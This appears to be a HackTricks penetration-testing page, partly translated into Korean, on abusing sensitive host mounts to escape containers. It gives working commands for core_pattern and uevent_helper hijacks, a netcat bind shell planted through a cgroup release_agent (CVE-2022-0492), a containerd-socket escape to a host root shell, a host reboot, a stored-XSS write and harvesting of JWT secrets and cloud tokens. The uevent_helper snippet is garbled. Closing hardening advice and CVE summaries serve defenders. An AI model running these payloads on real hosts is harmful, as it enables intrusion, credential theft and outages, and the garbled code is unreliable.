# Sensitive Mounts

{{#include ../../../../banners/hacktricks-training.md}}

`/proc`, `/sys`, 및 `/var`의 적절한 네임스페이스 격리 없이 노출되면 공격 표면 확대 및 정보 유출을 포함한 상당한 보안 위험이 발생합니다. 이러한 디렉토리는 민감한 파일을 포함하고 있으며, 잘못 구성되거나 무단 사용자가 접근할 경우 컨테이너 탈출, 호스트 수정 또는 추가 공격에 도움이 되는 정보를 제공할 수 있습니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반 특성으로 인해 AppArmor 보호를 우회할 수 있으며, `/host/proc`가 보호되지 않게 됩니다.

**각 잠재적 취약점에 대한 추가 세부정보는** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**에서 확인할 수 있습니다.**

## procfs Vulnerabilities

### `/proc/sys`

이 디렉토리는 일반적으로 `sysctl(2)`를 통해 커널 변수를 수정할 수 있는 접근을 허용하며, 여러 개의 우려되는 하위 디렉토리를 포함합니다:

#### **`/proc/sys/kernel/core_pattern`**

- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)에서 설명됨.
- 이 파일에 쓸 수 있다면, 프로그램이나 스크립트의 경로 뒤에 파이프 `|`를 써서 충돌이 발생한 후 실행될 수 있습니다.
- 공격자는 `mount`를 실행하여 호스트 내에서 자신의 컨테이너로의 경로를 찾고, 그 경로를 자신의 컨테이너 파일 시스템 내의 바이너리에 쓸 수 있습니다. 그런 다음 프로그램을 충돌시켜 커널이 컨테이너 외부에서 바이너리를 실행하도록 만들 수 있습니다.

- **테스트 및 악용 예시**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
이 게시물에서 더 많은 정보를 확인하세요: [this post](https://pwning.systems/posts/escaping-containers-for-fun/).

충돌하는 예제 프로그램:
```c
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
```
#### **`/proc/sys/kernel/modprobe`**

- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세히 설명됨.
- 커널 모듈 로더의 경로를 포함하며, 커널 모듈을 로드하기 위해 호출됨.
- **접근 확인 예제**:

```bash
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe 접근 확인
```

#### **`/proc/sys/vm/panic_on_oom`**

- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 참조됨.
- OOM 조건이 발생할 때 커널이 패닉을 일으키거나 OOM 킬러를 호출할지를 제어하는 전역 플래그.

#### **`/proc/sys/fs`**

- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 따라, 파일 시스템에 대한 옵션과 정보를 포함함.
- 쓰기 접근은 호스트에 대한 다양한 서비스 거부 공격을 가능하게 할 수 있음.

#### **`/proc/sys/fs/binfmt_misc`**

- 매직 넘버에 따라 비네이티브 이진 형식에 대한 인터프리터를 등록할 수 있음.
- `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능할 경우 권한 상승 또는 루트 쉘 접근으로 이어질 수 있음.
- 관련된 익스플로잇 및 설명:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- 심층 튜토리얼: [비디오 링크](https://www.youtube.com/watch?v=WBC7hhgMvQQ)

### `/proc`의 기타 항목

#### **`/proc/config.gz`**

- `CONFIG_IKCONFIG_PROC`가 활성화된 경우 커널 구성을 드러낼 수 있음.
- 공격자가 실행 중인 커널의 취약점을 식별하는 데 유용함.

#### **`/proc/sysrq-trigger`**

- Sysrq 명령을 호출할 수 있으며, 즉각적인 시스템 재부팅 또는 기타 중요한 작업을 유발할 수 있음.
- **호스트 재부팅 예제**:

```bash
echo b > /proc/sysrq-trigger # 호스트 재부팅
```

#### **`/proc/kmsg`**

- 커널 링 버퍼 메시지를 노출함.
- 커널 익스플로잇, 주소 유출 및 민감한 시스템 정보를 제공하는 데 도움을 줄 수 있음.

#### **`/proc/kallsyms`**

- 커널에서 내보낸 심볼과 그 주소를 나열함.
- KASLR을 극복하기 위한 커널 익스플로잇 개발에 필수적임.
- 주소 정보는 `kptr_restrict`가 `1` 또는 `2`로 설정된 경우 제한됨.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세히 설명됨.

#### **`/proc/[pid]/mem`**

- 커널 메모리 장치 `/dev/mem`와 인터페이스함.
- 역사적으로 권한 상승 공격에 취약함.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 더 많은 정보.

#### **`/proc/kcore`**

- 시스템의 물리적 메모리를 ELF 코어 형식으로 나타냄.
- 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 유출할 수 있음.
- 큰 파일 크기는 읽기 문제나 소프트웨어 충돌을 초래할 수 있음.
- [2019년 /proc/kcore 덤프하기](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법.

#### **`/proc/kmem`**

- 커널 가상 메모리를 나타내는 `/dev/kmem`의 대체 인터페이스.
- 읽기 및 쓰기를 허용하여 커널 메모리를 직접 수정할 수 있음.

#### **`/proc/mem`**

- 물리적 메모리를 나타내는 `/dev/mem`의 대체 인터페이스.
- 읽기 및 쓰기를 허용하며, 모든 메모리 수정을 위해 가상 주소를 물리 주소로 변환해야 함.

#### **`/proc/sched_debug`**

- PID 네임스페이스 보호를 우회하여 프로세스 스케줄링 정보를 반환함.
- 프로세스 이름, ID 및 cgroup 식별자를 노출함.

#### **`/proc/[pid]/mountinfo`**

- 프로세스의 마운트 네임스페이스 내 마운트 지점에 대한 정보를 제공함.
- 컨테이너 `rootfs` 또는 이미지의 위치를 노출함.

### `/sys` 취약점

#### **`/sys/kernel/uevent_helper`**

- 커널 장치 `uevents`를 처리하는 데 사용됨.
- `/sys/kernel/uevent_helper`에 쓰면 `uevent` 트리거 시 임의의 스크립트를 실행할 수 있음.
- **익스플로잇 예제**:
```bash

#### Creates a payload

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

#### Finds host path from OverlayFS mount for container

host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

#### Sets uevent_helper to malicious helper

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

#### Triggers a uevent

echo change > /sys/class/mem/null/uevent

#### Reads the output

cat /output
```

#### **`/sys/class/thermal`**

- Controls temperature settings, potentially causing DoS attacks or physical damage.

#### **`/sys/kernel/vmcoreinfo`**

- Leaks kernel addresses, potentially compromising KASLR.

#### **`/sys/kernel/security`**

- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
- Access might enable a container to disable its MAC system.

#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**

- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

#### **`/sys/kernel/debug`**

- `debugfs` offers a "no rules" debugging interface to the kernel.
- History of security issues due to its unrestricted nature.

### `/var` Vulnerabilities

The host's **/var** folder contains container runtime sockets and the containers' filesystems.
If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
containers and applications that run in them.

#### Kubernetes

If a container like this is deployed with Kubernetes:

```yaml
apiVersion: v1  
kind: Pod  
metadata:  
  name: pod-mounts-var  
  labels:  
    app: pentest  
spec:  
  containers:  
  - name: pod-mounts-var-folder  
    image: alpine  
    volumeMounts:  
    - mountPath: /host-var  
      name: noderoot  
    command: [ "/bin/sh", "-c", "--" ]  
    args: [ "while true; do sleep 30; done;" ]  
  volumes:  
  - name: noderoot  
    hostPath:  
      path: /var
```

Inside the **pod-mounts-var-folder** container:

```bash
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
```

The XSS was achieved:

![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)

Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.

You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

##### Access to cloud credentials

The container can read K8s serviceaccount tokens or AWS webidentity tokens
which allows the container to gain unauthorized access to K8s or cloud:

```bash
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
```

#### Docker

The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
the other containers' filesystems are available under a different base path:

```bash
$ docker info | grep -i 'docker root\|storage driver'
스토리지 드라이버: overlay2
도커 루트 디렉토리: /var/lib/docker
```

So the filesystems are under `/var/lib/docker/overlay2/`:

```bash
$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 1월  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d  
drwx--x---  4 root root  4096 1월 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496  
drwx--x---  4 root root  4096 1월  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f  
drwx--x---  4 root root  4096 1월  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2  
<SNIP>
```

#### Note

The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
locate the other containers' filesystems and SA / web identity tokens



### Other Sensitive Host Sockets and Directories (2023-2025)

Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:

```text
/run/containerd/containerd.sock     # containerd CRI 소켓  
/var/run/crio/crio.sock             # CRI-O 런타임 소켓  
/run/podman/podman.sock             # Podman API (rootful 또는 rootless)  
/run/buildkit/buildkitd.sock        # BuildKit 데몬 (rootful)  
/var/run/kubelet.sock               # Kubernetes 노드의 Kubelet API  
/run/firecracker-containerd.sock    # Kata / Firecracker
```

Attack example abusing a mounted **containerd** socket:

```bash
# 컨테이너 내부 (소켓이 /host/run/containerd.sock에 마운트됨)
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
chroot /host /bin/bash   # 호스트에서 전체 루트 셸
```

A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.

Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:

```bash
# 컨테이너가 CAP_SYS_ADMIN을 가지고 있고 취약한 커널을 가정할 때
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release

echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # CVE-2022-0492 필요

echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs"  # empty-cgroup 이벤트를 트리거합니다.
```

When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.

### Mount-Related Escape CVEs (2023-2025)

* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14).

```Dockerfile
FROM scratch
WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
CMD ["/bin/sh"]
```

* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.

* **CVE-2024-1753 – Buildah / Podman bind-mount breakout during `build`**
Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to `--mount=type=bind` in a *Containerfile*. A crafted build stage could mount `/` from the host **read-write** inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series.

* **CVE-2024-40635 – containerd UID integer overflow**
Supplying a `User` value larger than `2147483647` in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.

### Hardening Reminders (2025)

1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
3. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27).
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.

### References

- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
- [Buildah CVE-2024-1753 advisory](https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf)
- [containerd CVE-2024-40635 advisory](https://github.com/containerd/containerd/security/advisories/GHSA-265r-hfxg-fhmg)

{{#include ../../../../banners/hacktricks-training.md}}